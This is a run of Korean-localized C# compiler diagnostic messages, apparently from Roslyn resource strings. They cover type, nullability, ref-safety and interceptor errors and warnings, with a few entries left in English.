인터페이스 '{0}'의 인스턴스를 만들 수 없습니다. + 이벤트의 명시적 인터페이스를 구현할 때에는 이벤트 접근자 구문을 사용해야 합니다. + '{0}'에 대한 상수 값 계산에 순환 정의가 포함되어 있습니다. + '{0}'은(는) 이 선언에 유효한 특성 위치가 아닙니다. 이 선언에 유효한 특성 위치는 '{1}'입니다. 이 블록의 모든 특성이 무시됩니다. + 이 컨텍스트에서 '{0}' 유형의 stackalloc 식의 결과가 포함하는 메서드 외부에 노출될 수 있습니다. + '{0}'은(는) '{1}'과(와) '{2}' 사이에서 모호합니다. '@{0}'를 사용하거나 '특성' 접미사를 명시적으로 포함하세요. + ;이 필요합니다. + 하나 이상의 적용 가능한 오버로드가 조건부 메서드이므로 동적으로 디스패치된 호출이 런타임에 실패할 수 있습니다. + 네임스페이스가 가져온 형식과 충돌합니다. + 부분 메서드(Partial Method)에는 하나의 구현 선언만 사용할 수 있습니다. + '{0}'은(는) '{1}'이므로 ref 또는 out 값으로 사용할 수 없습니다. + '{0}'에서 friend 액세스 권한을 부여했지만, 출력 어셈블리의 강력한 이름 서명 상태가 부여한 어셈블리의 상태와 일치하지 않습니다. + 대상으로 형식화된 개체 만들기 + 매개 변수 목록이 있는 형식에서 선언된 생성자에는 'this' 생성자 이니셜라이저가 있어야 합니다. + 제약 조건은 '{0}' 동적 유형일 수 없습니다. + '{0}' 연산자는 '{1}' 형식의 피연산자에 적용할 수 없습니다. + 읽기 전용 형식의 기본 생성자 매개 변수는 쓰기 가능 참조로 반환할 수 없습니다. + '{0}': volatile 필드에 대한 참조는 volatile로 처리되지 않습니다. + 식 트리에는 동적 연산을 포함할 수 없습니다. + 암시적으로 형식화된 지역 변수는 fixed일 수 없습니다. + 가져온 형식 '{0}'이(가) 잘못되었습니다. 이 형식에는 순환 기본 형식 종속성이 포함되어 있습니다. + 소스 형식 '{0}'에 쿼리 패턴이 여러 번 구현되어 있습니다. '{1}'에 대한 호출이 모호합니다. + 명령줄 스위치 '{0}'이(가) 아직 구현되지 않아 무시되었습니다. + 형식에 있는 참조 형식 Null 허용 여부가 구현된 멤버와 일치하지 않습니다. + '{0}' 메서드, 연산자 또는 접근자가 외부로 표시되었지만 특성이 없습니다. DllImport 특성을 추가하여 외부 구현을 지정하세요. + '{0}'은(는) '{1}'의 유효한 매개 변수 이름이 아닙니다. + 일관성 없는 액세스 가능성: '{1}' 매개 변수 형식이 '{0}' 인덱서보다 액세스하기 어렵습니다. + 미리 정의된 형식 '{0}'이(가) 여러 참조된 어셈블리('{1}' 및 '{2}')에서 선언되었습니다. + 식 본문 속성 + 'RefKind.Out'은 반환 형식에 대한 유효한 참조 종류가 아닙니다. + 대체 보간된 축자 문자열 + 중첩된 함수의 이름 섀도잉 + static 또는 const 필드에는 FieldOffset 특성을 사용할 수 없습니다. + 무명 메서드, 람다 식 또는 쿼리 식에는 참조 로컬 '{0}'을(를) 사용할 수 없습니다. + 현재 메서드로 범위가 지정되어 있으므로 참조 '{0}' 매개 변수를 반환할 수 없습니다. + '{0}' 연산자가 모호하여 '{1}' 및 '{2}' 형식의 피연산자에 사용할 수 없습니다. + '{0}'의 반환 형식이 CLS 규격이 아닙니다. + 스위치 식 arm은 'case' 키워드로 시작하지 않습니다. + CallerArgumentExpressionAttribute는 기본값이 있는 매개 변수에만 적용할 수 있습니다. + 어셈블리 참조가 ID와 일치하는 것으로 간주합니다. + '{0}'에는 '{1}'에 대한 정의가 포함되어 있지 않고, '{0}' 형식의 첫 번째 인수를 허용하는 확장 메서드 '{1}' 이(가) 없습니다. '{2}'에 대한 using 지시문이 있는지 확인하세요. + 서명 연기가 지정되어 공개 키가 필요하지만 지정된 공개 키가 없습니다. + '{0}'의 기본값이 null이므로 식에서 항상 System.NullReferenceException이 발생합니다. + 인덱서에 매개 변수를 하나 이상 지정해야 합니다. + '{0}'을(를) 사용한 '{1}' 호환성 테스트는 근본적으로 '{2}' 호환성 테스트와 동일하며 null이 아닌 모든 값에서 성공합니다. + 표시된 통화가 여러 번 차단됩니다. + 정수 계열 형식 값이 필요합니다. + 참조 형식의 null 허용 여부 차이로 인해 매개 변수의 출력으로 인수를 사용할 수 없습니다. + 이 언어 기능('{0}')은 아직 구현되지 않았습니다. + 구문 트리가 전송에서 만들어져야 합니다. + 정규화된 이름이 너무 길어서 디버그 정보에 사용할 수 없습니다. + 'ref' 뒤에 'readonly' 한정자를 지정해야 합니다. + RuntimeMetadataVersion 값을 찾을 수 없습니다. System.Object가 포함된 어셈블리를 찾을 수 없고 옵션을 통해 지정된 RuntimeMetadataVersion 값이 아닙니다. + Nullable 참조 형식에 대한 주석은 '#nullable' 주석 컨텍스트 내의 코드에서만 사용해야 합니다. 자동 생성된 코드에는 소스에 명시적 '#nullable' 지시문이 필요합니다. + 인터페이스는 'CoClassAttribute'로 표시되어 있고 'ComImportAttribute'로 표시되어 있지 않습니다. + 람다 매개 변수 배열 + 할당된 인스턴스는 일부 예외 경로와 함께 삭제되지 않습니다. + 'in'이 필요합니다. + 참조되는 어셈블리 '{0}'에 오류가 있습니다. + 매개 변수 형식의 null 허용 여부가 재정의된 멤버와 일치하지 않음(null 허용 여부 특성 때문일 수 있음) + 튜플 요소 이름 '{0}'은(는) 어떤 위치에서도 허용되지 않습니다. + 음수 인덱스를 사용하여 배열을 인덱싱했습니다. 배열 인덱스는 항상 0부터 시작합니다. + CLSCompliant 특성은 반환 형식에 적용하면 의미가 없습니다. 대신 이 특성을 메서드에 사용하세요. + Main 메서드에 지정된 '{0}'은(는) 제네릭이 아닌 클래스, 레코드, 구조체 또는 인터페이스여야 합니다. + 이 인수 조합은 선언 범위 외부의 매개 변수에서 참조하는 변수를 노출할 수 있습니다. + 오버로드된 Add 메서드 중 해당 컬렉션 이니셜라이저 요소에 가장 적합한 '{0}'은(는) 사용되지 않습니다. {1} + 이 어셈블리 외부에 노출되지 않으므로 CLS 규격 검사를 수행하지 않습니다. + '{0}'의 partial 선언에는 '{1}' 형식 매개 변수의 제약 조건에 일관성이 없습니다. + Main 메서드에 지정된 '{0}'을(를) 찾을 수 없습니다. + 참조로 마샬링하는 클래스의 필드를 ref 또는 out 값으로 사용하거나 해당 주소를 가져오면 런타임 예외가 발생할 수 있습니다. + and 패턴 + '{1}'의 필수 매개 변수 '{0}'에 해당하는 인수가 없습니다. + '{0}' 이름이 해당 'Deconstruct' 매개 변수 '{1}'과(와) 일치하지 않습니다. + 제공된 소스 코드 종류가 지원되지 않거나 잘못되었습니다. '{0}' + 현재 메서드로 범위가 지정된 매개 변수의 멤버를 참조로 반환합니다. + 매개 변수 배열의 기본값을 지정할 수 없습니다. + 같은 변수에 할당했습니다. + 전처리 기호의 이름이 잘못되었습니다. '{0}'은(는) 유효한 식별자가 아닙니다. + '{1}'과(와) '{2}'은(는) 일부 형식 매개 변수를 대체할 때 통합될 수 있으므로 '{0}'에서는 둘 다 구현할 수 없습니다. + '{1}' 어셈블리로 전달된 '{0}' 형식이 '{3}'에서 내보낸 '{2}' 형식과 충돌합니다. + 제네릭 형식 또는 메서드 '{0}'에서 '{2}' 형식을 '{1}' 매개 변수로 사용하려면 해당 형식이 null을 허용하지 않는 값 형식이어야 합니다. + 정적 형식은 반환 형식으로 사용할 수 없음 + 메서드의 서명이 잘못되어 진입점이 될 수 없습니다. + '{0}' 한정자가 중복되었습니다. + 반공변(contravariant) 방식 + 목록 패턴은 '{0}' 형식 값에 사용할 수 없습니다. + 반환 형식이 대리자 반환 형식과 일치하지 않기 때문에 {0}을(를) '{1}' 형식으로 변환할 수 없습니다. + 축자 지정자 @ 뒤에는 키워드, 식별자 또는 문자열이 필요합니다. + C# {1}의 이 항목에는 '{0}' 한정자가 유효하지 않습니다. 언어 버전 '{2}' 이상을 사용하세요. + 명시적 인터페이스 구현 '{0}'에 '{1}' 접근자가 없습니다. + '제네릭 형식 또는 메서드 '{0}'에서 '{1}' 매개 변수로 사용하려면 '{2}'이(가) 매개 변수가 없는 public 생성자를 사용하는 비추상 형식이어야 합니다. + '{0}': 포함하는 형식이 '{1}' 인터페이스를 구현하지 않습니다. + '{0}': ref struct에서 인터페이스를 구현할 수 없습니다. + 메서드 '{0}' 제네릭이 아니거나 '{2}' 일치시킬 진법 {1} 있어야 합니다. + 소스 형식 '{0}'에 대해 구현된 쿼리 패턴을 찾을 수 없습니다. '{1}'을(를) 찾을 수 없습니다. 필요한 어셈블리 참조 또는 'System.Linq'에 대한 using 지시문이 있는지 확인하세요. + 사용자 정의 연산자는 void를 반환할 수 없습니다. + 매개 변수 형식에 있는 참조 형식 Null 허용 여부가 암시적으로 구현된 멤버와 일치하지 않습니다. + 이진 리터럴 + 음수 크기의 배열은 만들 수 없습니다. + 패턴 기반 삭제 + 정적 클래스 + 재정의 및 명시적 인터페이스 구현 메서드에 대한 제약 조건 + yield 문은 무명 메서드 또는 람다 식 안에 사용할 수 없습니다. + '{0}' 형식에 제네릭 인수가 있으므로 해당 형식을 포함할 수 없습니다. 'Interop 형식 포함' 속성을 false로 설정하세요. + 소스 파일의 줄 수가 PDB에 표시할 수 있는 16,707,565줄을 초과했습니다. 디버그 정보가 올바르지 않을 수 있습니다. + ref struct + 인덱스 연산자 + '{0}'은(는) '{1}' 인터페이스 멤버를 구현하지 않습니다. '{2}'이(가) public이 아닙니다. + InterpolatedStringHandlerArgument는 람다 매개 변수에 적용할 때 효과가 없으며 호출 사이트에서 무시됩니다. + '{1}'은(는) '{0}' 형식 매개 변수를 정의하지 않습니다. + case 상수에 '_'을 사용하지 마세요. + 수신기 형식 '{0}'은(는) 올바른 레코드 형식이 아니며 구조체 형식이 아닙니다. + typeof 연산자는 동적 유형에 사용할 수 없습니다. + 증가 연산자 또는 감소 연산자의 피연산자는 변수, 속성 또는 인덱서여야 합니다. + /embed 스위치는 PDB를 내보낼 때만 지원됩니다. + fixed 문에서는 지정된 식을 사용할 수 없습니다. + '{0}'은(는) extern 및 abstract일 수 없습니다. + '{0}'(으)로 변환할 수 있는 형식의 개체가 필요합니다. + '{0}' 정적 클래스의 인스턴스를 만들 수 없습니다. + 할당되지 않은 '{0}' 필드를 사용하고 있는 것 같습니다. + switch case에 연결할 수 없습니다. 이전 사례에서 이미 처리되었거나 일치시킬 수 없습니다. + '{0}'은(는) 상속된 '{1}' 멤버를 숨깁니다. 숨기려면 new 키워드를 사용하세요. + 잘못된 유니코드 문자입니다. + 참조로 반환하는 람다 식을 식 트리로 변환할 수 없습니다. + 컴파일러에서 요구하는 '{0}' 형식을 찾지 못했기 때문에 튜플을 사용하는 클래스 또는 멤버를 정의할 수 없습니다. 참조가 있는지 확인하세요. + '{0}' 파일에서 공용 키를 사용하여 출력에 서명하는 동안 오류가 발생했습니다. {1} + '{0}': constraint 클래스와 'class' 또는 'struct' 제약 조건을 둘 다 지정할 수는 없습니다. + 익명 메서드, 람다 식, 쿼리 식 및 구조체 내의 로컬 함수는 인스턴스 멤버 내에서도 사용되는 기본 생성자 매개 변수에 액세스할 수 없습니다. + 매개 변수 유형에서 참조 유형의 Null 허용 여부가 가로챌 수 있는 메서드와 일치하지 않습니다. + using static' 지시문은 형식에만 적용할 수 있습니다. '{0}'은(는) 형식이 아니라 네임스페이스입니다. 대신 'using namespace' 지시문을 사용하세요. + 람다 식을 대리자 또는 식 트리 형식으로 먼저 캐스팅하지 않고는 동적으로 디스패치된 작업의 인수로 사용할 수 없습니다. + By-value 반환은 값으로 반환하는 메서드에서만 사용할 수 있습니다. + '{0}' 형식 stackalloc 식의 결과는 포함하는 메서드 외부에 노출되는 있으므로 이 컨텍스트에서 사용할 수 없습니다. + 제네릭 특성 + 필터 식이 상수 'true'입니다. 필터를 제거해 보세요. + TypeForwardedTo 특성의 인수로 잘못된 형식이 지정되었습니다. + Conditional 특성이 있으므로 '{0}'을(를) 사용하여 대리자를 만들 수 없습니다. + 이 컨텍스트에서는 기본 리터럴을 사용할 수 없습니다. + 예기치 않은 키워드 '선택되지 않음' + '{0}'에 대한 필수 구성원 목록 형식이 잘못되어 해석할 수 없습니다. + 암시적으로 '{0}' 형식을 '{1}' 형식으로 변환할 수 없습니다. 명시적 변환이 있습니다. 캐스트가 있는지 확인하세요. + {0} 분석기 인스턴스는 {1}에서 만들 수 없습니다({2}). + using 지시문을 이전에 이 네임스페이스에서 사용했습니다. + XML 주석에 확인할 수 없는 cref 특성이 있습니다. + System.Runtime.CompilerServices.TupleElementNamesAttribute'를 명시적으로 참조할 수 없습니다. 튜플 구문을 사용하여 튜플 이름을 정의하세요. + 잘못된 숫자입니다. + '{0}' 대리자는 인수를 {1}개 사용하지 않습니다. + '{0}'은(는) 상속된 추상 멤버 '{1}'을(를) 숨깁니다. + 중복된 '{0}' 형식 매개 변수입니다. + 컬렉션 이니셜라이저 요소에 가장 적합한 오버로드된 Add 메서드는 사용되지 않습니다. + 상수 문자열에서 ReadOnly/Span<char>과 일치하는 패턴 + '{0}'에 대해 서로 다른 체크섬 값이 지정되었습니다. + '{0}': 이벤트는 대리자 형식이어야 합니다. + '{0}' 매개 변수에 적용된 EnumeratorCancellationAttribute는 영향을 주지 않습니다. 이 특성은 IAsyncEnumerable을 반환하는 비동기 반복기 메서드에 있는 CancellationToken 형식의 매개 변수에만 유효합니다. + yield return 다음에는 식이 필요합니다. + /sourcelink 스위치는 PDB를 내보낼 때만 지원됩니다. + 값에 있는 참조 형식 Null 허용 여부가 대상 형식과 일치하지 않습니다. + 매개 변수 형식에 있는 참조 형식 Null 허용 여부가 구현된 멤버와 일치하지 않습니다. + 보안 특성에 대한 첫 번째 인수는 유효한 SecurityAction이어야 합니다. + '{0}': extern 이벤트에는 이니셜라이저를 사용할 수 없습니다. + 'System.Runtime.CompilerServices.ScopedRefAttribute'를 사용하지 마세요. 대신 'scoped' 키워드를 사용합니다. + 범위 변수 선언에는 상황별 키워드'var'를 사용할 수 없습니다. + /reference'에 대해 잘못된 extern 별칭입니다. '{0}'이(가) 유효한 식별자가 아닙니다. + 멤버가 상속된 멤버를 숨깁니다. override 키워드가 없습니다. + FieldOffset 특성은 StructLayout(LayoutKind.Explicit)으로 표시된 형식의 멤버에만 배치할 수 있습니다. + XML 주석에 중복 매개 변수 태그가 있습니다. + 정적 인터페이스 멤버에 대한 가변성 안전 + 형식 + '{0}': 정적 형식은 형식 인수로 사용할 수 없습니다. + 이 컨텍스트에서는 throw 식을 사용할 수 없습니다. + switch 식에서 명명되지 않은 열거형 값이 사용되는 입력 형식의 일부 값을 처리하지 않습니다. + '{0}' 매개 변수에 적용되는 CallerLineNumberAttribute는 선택적 인수를 허용하지 않는 컨텍스트에서 사용되는 멤버에 적용되므로 효과가 없습니다. + 오버로드할 수 있는 이항 연산자가 필요합니다. + 암시적으로 형식화된 배열에 가장 적합한 형식이 없습니다. + 이 위치에는 공백이 허용되지 않습니다. + XML 주석이 유효한 언어 요소에 배치되어 있지 않습니다. + stackalloc에는 음수 크기를 사용할 수 없습니다. + 명령줄 구문 오류: '{0}' 옵션에 대한 '{1}'이(가) 없습니다. + 포인터와 고정 크기 버퍼는 안전하지 않은 컨텍스트에서만 사용할 수 있습니다. + 명명되지 않은 배열 형식만 다른 오버로드된 메서드는 CLS 규격이 아닙니다. + 컨트롤이 메서드를 벗어나기 전에 out 매개 변수를 할당해야 함 + Win32 리소스를 만드는 동안 오류가 발생했습니다. {0} + 정의 선언만 있는 부분 메서드(Partial Method) 또는 제거된 조건부 메서드는 식 트리에 사용할 수 없습니다. + 튜플 요소 이름 '{0}'이(가) 유추됩니다. 언어 버전 {1} 이상을 사용하여 유추된 이름으로 요소에 액세스하세요. + 의도하지 않은 참조 비교가 있을 수 있습니다. 값 비교를 가져오려면 오른쪽을 '{0}' 형식으로 캐스팅하세요. + XML 주석에 중복 형식 매개 변수 태그가 있습니다. + 할당되지 않은 '{0}' 지역 변수를 사용했습니다. + 형식 및 별칭은 'file'로 지정할 수 없습니다. + CallerArgumentExpressionAttribute는 효과가 없습니다. CallerLineNumberAttribute에 의해 재정의됩니다. + ID가 '{1}'인 '{0}' 어셈블리는 ID가 '{4}'인 참조된 어셈블리 '{3}' 이후 버전인 '{2}'을(를) 사용합니다. + ref 매개 변수를 통해 '{0}' 참조로 매개 변수를 반환합니다. 그러나 return 문에서만 안전하게 반환될 수 있습니다. + 제네릭이 아닌 {1} '{0}'은(는) 형식 인수와 함께 사용할 수 없습니다. + 구조체 필드 이니셜라이저 + '{0}' 어셈블리 이름은 예약된 것이므로 대화형 세션에 참조로 사용할 수 없습니다. + 'UnmanagedCallersOnly'로 특성이 지정된 메서드의 시그니처에는 'ref', 'in' 또는 'out'을 사용할 수 없습니다. + 형식은 == 연산자 또는 != 연산자를 정의하지만 Object.Equals(object o)를 재정의하지 않습니다. + 무명 메서드, 람다 식, 쿼리 식 또는 로컬 함수 내에 ref 유사 형식이 있는 '{0}' 매개 변수를 사용할 수 없습니다. + '{0}': 재정의된 '{1}' 멤버와 일치하려면 '{2}' 형식이어야 합니다. + 부호 확장 피연산자에 비트 OR 연산자를 사용했습니다. 더 작은 부호 없는 형식으로 먼저 캐스팅하세요. + 필터 식이 상수 'false'입니다. + 고정되지 않은 식에 포함된 고정 크기 버퍼는 사용할 수 없습니다. fixed 문을 사용하세요. + 지정된 식의 주소를 가져올 수 없습니다. + 식 트리는 '{0}'을(를) 포함할 수 없습니다. + DefaultParameterAttribute 또는 OptionalAttribute와 함께 기본 매개 변수 값을 지정할 수 없습니다. + '{2}' 형식은 제네릭 형식 또는 '{0}' 메서드에서 '{1}' 형식 매개 변수로 사용할 수 없습니다. '{2}' 형식 인수의 Null 허용 여부가 'class' 제약 조건과 일치하지 않습니다. + {1} out 매개 변수 및 void 반환 형식을 사용하는 '{0}' 형식에 대한 적절한 분해 인스턴스 또는 확장 메서드를 찾을 수 없습니다. + '{0}'은(는) 두 번 이상 명시적으로 구현됩니다. + 확장 메서드는 제네릭이 아닌 정적 클래스에 정의해야 합니다. + Attribute parameter 'SizeConst' must be specified. + '{0}'의 형식이 '{1}'입니다. 참조 형식이 문자열이 아닌 const 필드는 null로만 초기화할 수 있습니다. + '{0}'은(는) 함수 포인터의 유효한 호출 규칙 지정자가 아닙니다. + 반환 형식에 있는 참조 형식 Null 허용 여부가 구현된 멤버 '{0}'과(와) 일치하지 않습니다. + new()' 제약 조건은 'struct' 제약 조건과 함께 사용할 수 없습니다. + __arglist는 비동기 메서드의 매개 변수 목록에 사용할 수 없습니다. + 가로챌 수 없음: 컴파일에 경로가 '{0}'인 파일이 없습니다. + 우선 순위 때문에 연산자 '{0}'을(를) 사용할 수 없습니다. 괄호를 사용하여 구분하세요. + 종료할 때 매개 변수는 null이 아닌 값을 가져야 합니다. + System.Runtime.CompilerServices.ExtensionAttribute' 대신 'this' 키워드를 사용하세요. + 필수 구성원 + add 또는 remove 접근자가 필요합니다. + 제어가 무명 메서드 또는 람다 식의 본문을 벗어날 수 없습니다. + 사용되지 않는 멤버가 사용되는 멤버를 재정의합니다. + '{1}'이(가) 'SignatureCallingConvention.Unmanaged'가 아닌 한 '{0}' 전달은 유효하지 않습니다. + 클래스 형식 제약 조건 '{0}'은(는) 다른 모든 제약 조건보다 앞에 와야 합니다. + 할당되지 않은 자동 구현 속성 '{0}'을(를) 사용하고 있는 것 같습니다. + 분석기 어셈블리 '{0}'은(는) 컴파일러의 '{1}' 버전을 참조하며, 이 버전은 현재 실행 중인 버전 '{2}'보다 최신 버전입니다. + '{0}'은(는) 재정의된 멤버 '{1}'의 참조에 의한 반환과 일치해야 합니다. + CallerFilePathAttribute는 CallerLineNumberAttribute에 의해 재정의되므로 효과가 없습니다. + 확장 메서드 그룹은 'nameof'에 대한 인수로 사용할 수 없습니다. + 참조를 사용하여 값 형식 변수를 초기화할 수 없습니다. + 비동기 반복기 메서드의 본문에는 'yield' 문이 포함되어야 합니다. 메서드 선언에서 'async'를 제거하거나 'yield' 문을 추가하세요. + '{0}'에는 '{1}'에 대한 정의가 포함되어 있지 않고, '{0}' 형식의 첫 번째 인수를 허용하는 액세스 가능한 확장 메서드 '{1}'이(가) 없습니다. using 지시문 또는 어셈블리 참조가 있는지 확인하세요. + {1} '{0}'은(는) 형식 인수와 함께 사용할 수 없습니다. + 식은 선언 범위 외부의 변수를 간접적으로 노출할 수 있으므로 이 컨텍스트에서 사용할 수 없습니다. + 보간된 문자열 처리기로의 매개 변수 변환은 처리기 매개 변수 후에 발생합니다. + 부분 메서드(Partial Method)에는 하나의 정의 선언만 사용할 수 있습니다. + 매개 변수 '{0}'에 적용된 CallerArgumentExpressionAttribute는 효과가 없습니다. 잘못된 매개 변수 이름으로 적용되었습니다. + '{0}' 어셈블리 참조가 잘못되어 확인할 수 없습니다. + 대상보다 더 좁은 이스케이프 범위를 가진 값을 다시 할당합니다. + 정적 클래스는 인스턴스 생성자를 포함할 수 없습니다. + 'await'의 경우 {0} 형식에 적합한 GetAwaiter 메서드가 있어야 합니다. + '{0}' 결과의 멤버는 선언 범위 외부의 '{1}' 매개 변수에서 참조하는 변수를 노출할 수 있으므로 이 컨텍스트에서 사용할 수 없습니다. + 암시적 형식 람다 매개 변수 '{0}'은(는) 기본값을 가질 수 없습니다. + '{1}' 형식에서 매개 변수 형식이 같은 '{0}' 멤버를 이미 예약했습니다. + 'set' 접근자가 포함되어 있으므로 자동 구현 속성 '{0}'을(를) 'readonly'로 표시할 수 없습니다. + 인수 형식이 CLS 규격이 아닙니다. + 인식할 수 없는 이스케이프 시퀀스입니다. + 매개 변수와 짝이 맞는 매개 변수 태그가 XML 주석에 없습니다. 다른 매개 변수는 짝이 맞는 태그가 있습니다. + switch 식은 일부 null 입력을 처리하지 않습니다. + 상속된 '{1}' 인터페이스는 '{0}'의 인터페이스 계층 구조에서 순환됩니다. + 전역 네임스페이스에 '{0}' 형식 또는 네임스페이스 이름이 없습니다. 어셈블리 참조가 있는지 확인하세요. + '{0}'은(는) 일반 멤버 메서드의 호출이 아니므로 가로챌 수 없습니다. + catch 절의 필터 식에서 await를 사용할 수 없습니다. + 배열 이니셜라이저 식은 배열 형식에 할당하는 데에만 사용할 수 있습니다. 대신 new 식을 사용해 보세요. + null 리터럴 또는 가능한 null 값을 null을 허용하지 않는 형식으로 변환하는 중입니다. + 암시적으로 형식화된 지역 변수는 초기화해야 합니다. + 형식 매개 변수 선언은 형식이 아니라 식별자여야 합니다. + 기본 생성자 + 제어가 호출자에게 반환되기 전에 자동 구현 속성 '{0}'이(가) 완전히 할당되어야 합니다. 속성을 자동으로 기본 설정하려면 언어 버전 '{1}'(으)로 업데이트하는 것이 좋습니다. + '{0}': 구조체에 새 protected 멤버가 선언되었습니다. + '{0}': 정적 클래스는 protected 멤버를 포함할 수 없습니다. + 'this' 개체는 모든 필드가 할당되기 전에 읽혀서 명시적으로 할당되지 않은 필드에 'default'의 암시적 할당이 선행되도록 합니다. + '{0}': 정적 클래스에 인스턴스 멤버를 선언할 수 없습니다. + 자동 구현 속성이 명시적으로 할당되기 전에 제어가 호출자에게 반환되어 'default'의 선행 암시적 할당이 발생합니다. + 실행 파일은 위성 어셈블리일 수 없습니다. 문화권은 항상 비워 두어야 합니다. + 구현된 멤버 또는 재정의된 멤버와 일치하는 '[DoesNotReturn]' 주석이 메서드에 없습니다. + 이 컨텍스트에서는 'base' 키워드를 사용할 수 없습니다. + '{0}' 형식이 참조되지 않은 어셈블리에 정의되었습니다. '{1}' 어셈블리에 참조를 추가해야 합니다. + '{0}'이(가) '{1}' 인터페이스 멤버에서 찾을 수 없는 접근자를 추가합니다. + 인식할 수 없는 옵션: '{0}' + 특성이 'SecurityCritical' 또는 'SecuritySafeCritical'인 인터페이스, 클래스 또는 구조에서는 비동기 메서드가 허용되지 않습니다. + '{0}' 유형에서 '{1}' 유형으로의 표준 변환이 없기 때문에 CallerArgumentExpressionAttribute를 적용할 수 없습니다. + is' 또는 'as' 연산자의 첫 번째 피연산자는 람다 식, 무명 메서드 또는 메서드 그룹이 될 수 없습니다. + 배열 액세스에는 명명된 인수 지정자를 사용할 수 없습니다. + 메서드 그룹을 동적으로 디스패치된 작업의 인수로 사용할 수 없습니다. 메서드를 호출하시겠습니까? + 범위 연산자 + 읽기 전용 필드는 ref 또는 out 값으로 사용할 수 없습니다. 단 생성자에서는 예외입니다. + 컴파일의 여러 파일에 이 경로가 있으므로 경로가 '{0}'인 파일에서 호출을 가로챌 수 없습니다. + 여러 변수 선언자를 포함할 수 있는 선언 노드에 대해 호출된 GetDeclarationName입니다. + 이 오류는 가변 배열을 사용하는 오버로드된 메서드가 있고 메서드 서명 간에 배열의 요소 형식만 다른 경우에 발생합니다. 이 오류를 방지하려면 가변 배열 대신 직사각형 배열을 사용하고, 추가 매개 변수를 사용하여 함수 호출을 명확하게 구분하고, 하나 이상의 오버로드된 메서드 이름을 바꾸세요. 또는 CLS 규격이 필요하지 않은 경우 CLSCompliantAttribute 특성을 제거하세요. + switch 식에서 입력 형식의 가능한 모든 값을 처리하지는 않습니다(전체 아님). 예를 들어 패턴 '{0}'은(는) 포함되지 않습니다. 그러나 'when' 절이 있는 패턴은 이 값과 일치할 수 있습니다. + '{0}' 메서드의 서명에 있는 튜플 요소 이름은 인터페이스 메서드 '{1}'의 튜플 요소 이름(반환 형식에 포함)과 일치해야 합니다. + 'this' 개체는 모든 필드가 할당되기 전에 읽혀서 명시적으로 할당되지 않은 필드에 'default'의 암시적 할당이 선행되도록 합니다. + 현재 메서드로 범위가 지정된 매개 변수 '{0}'의 멤버를 참조로 반환합니다. + '{1}'에서 '{0}' 특성이 중복되었습니다. + 비동기 함수 + 잘못된 디버그 정보 형식: {0} + goto는 동일한 블록 내의 using 선언 앞 위치로 이동할 수 없습니다. + '{0}' 및 '{1}' 접근자는 둘 다 초기값 전용이거나 둘 다 초기값 전용이 아니어야 합니다. + 비동기 메서드에는 포인터 형식 매개 변수를 사용할 수 없습니다. + 'else'로 문을 시작할 수 없습니다. + 멤버가 사용되지 않는 멤버를 재정의합니다. + 읽기 전용 변수이므로 {0} '{1}'에 할당하거나 참조 할당의 오른쪽으로 사용할 수 없습니다. + 패턴의 'var' 구문은 형식 참조가 허용되지 않지만 '{0}'은(는) 여기서 범위 내에 있습니다. + 비동기 메서드에 by-reference 로컬을 사용할 수 없습니다. + Argument {0} should be passed with the 'in' keyword + notnull 제네릭 형식 제약 조건 + 자동 구현 속성만 이니셜라이저를 사용할 수 있습니다. + 필드 이니셜라이저가 있는 '구조체'에는 명시적으로 선언된 생성자가 포함되어야 합니다. + 약식 파일 이름이 같은 긴 파일 이름이 이미 있으면 '{0}' 약식 파일 이름을 만들 수 없습니다. + ++ 또는 -- 연산자의 매개 변수 유형은 포함하는 유형이거나 해당 유형 매개 변수에 제약을 받는 유형이어야 합니다. + 파일 로컬 형식 '{0}'은(는) 최상위 형식으로 정의해야 합니다. '{0}'은(는) 중첩 형식입니다. + 이벤트 접근자에서 '{0}' 특성이 유효하지 않습니다. 이 특성은 '{1}' 선언에만 유효합니다. + #warning: '{0}' + 정적 멤버는 '{0}'(으)로 표시할 수 없습니다. + '{0}' 속성 또는 인덱서 및 해당 접근자 둘 다에 'readonly' 한정자를 지정할 수 없습니다. 둘 중 하나를 제거하세요. + 명시적으로 할당되기 전에 필드를 읽어 사전에 '기본값'을 암시적으로 할당합니다. + 제공된 행 및 문자 번호는 가로챌 수 있는 메서드 이름이 아니라 '{0}' 토큰을 나타냅니다. + 할당식의 왼쪽은 변수, 속성 또는 인덱서여야 합니다. + 대상 런타임은 인라인 배열 유형을 지원하지 않습니다. + override로 표시된 '{0}' 멤버는 new 또는 virtual로 표시할 수 없습니다. + 두 부분 메서드(Partial Method) 선언 '{0}' 및 '{1}' 모두에서 동일한 튜플 요소 이름을 사용해야 합니다. + '{1}'의 '{0}' 매개 변수 형식에서 참조 형식의 null 허용 여부가 암시적으로 구현된 멤버 '{2}'과(와) 일치하지 않습니다(null 허용 여부 특성 때문일 수 있음). + 구조체 멤버는 'this' 또는 다른 인스턴스 멤버를 참조로 반환할 수 없습니다. + '{0}': 코드 경로 중 일부만 값을 반환합니다. + '{0}'의 결과는 선언 범위 외부의 '{1}' 매개 변수에서 참조하는 변수를 노출할 수 있으므로 이 컨텍스트에서 사용할 수 없습니다. + switch 식에서 입력 형식의 가능한 값을 모두 처리하지는 않습니다(전체 아님). 예를 들어 '{0}' 패턴은 포함되지 않습니다. + '{0}' 형식은 '{1}'의 중첩 형식이므로 전달할 수 없습니다. + 한 줄로 된 주석이나 줄의 끝이 필요합니다. + 제약 조건은 동적 유형일 수 없습니다. + 제어가 현재 메서드를 벗어나기 전에 '{0}' out 매개 변수를 할당해야 합니다. + 전처리 기호의 이름이 잘못되었습니다. 유효한 식별자가 아닙니다. + 접미사 'l'은 숫자 '1'과 쉽게 혼동됩니다. 쉽게 구별할 수 있도록 'L'을 사용하세요. + '명시적 인터페이스 선언에서 '{0}'은(는) 인터페이스가 아닙니다. + 배열 액세스 + `with` 식의 수신기에는 void가 아닌 형식이 있어야 합니다. + '{0}': '{1}'은(는) 해당 언어에서 지원되지 않으므로 재정의할 수 없습니다. + Cannot initialize type '{0}' with a collection expression because the type is not constructible. + 초기값 전용 속성 또는 인덱서 '{0}'은(는) 개체 이니셜라이저 또는 인스턴스 생성자나 'init' 접근자의 'this' 또는 'base'에만 할당할 수 있습니다. + 메서드 그룹 '{0}'을(를) 대리자 형식 '{1}'(으)로 변환할 수 없습니다(&M). + 매개 변수 한정자 '{0}'을(를) '{1}'과(와) 함께 사용할 수 없습니다. + 'System.Runtime.CompilerServices.ITuple'을 통한 패턴 일치 시 요소 이름은 허용되지 않습니다. + Method '{0}' cannot be used as an interceptor because its containing type has type parameters. + '{0}'에 '{1}'을(를) ref-assign할 수 없습니다. 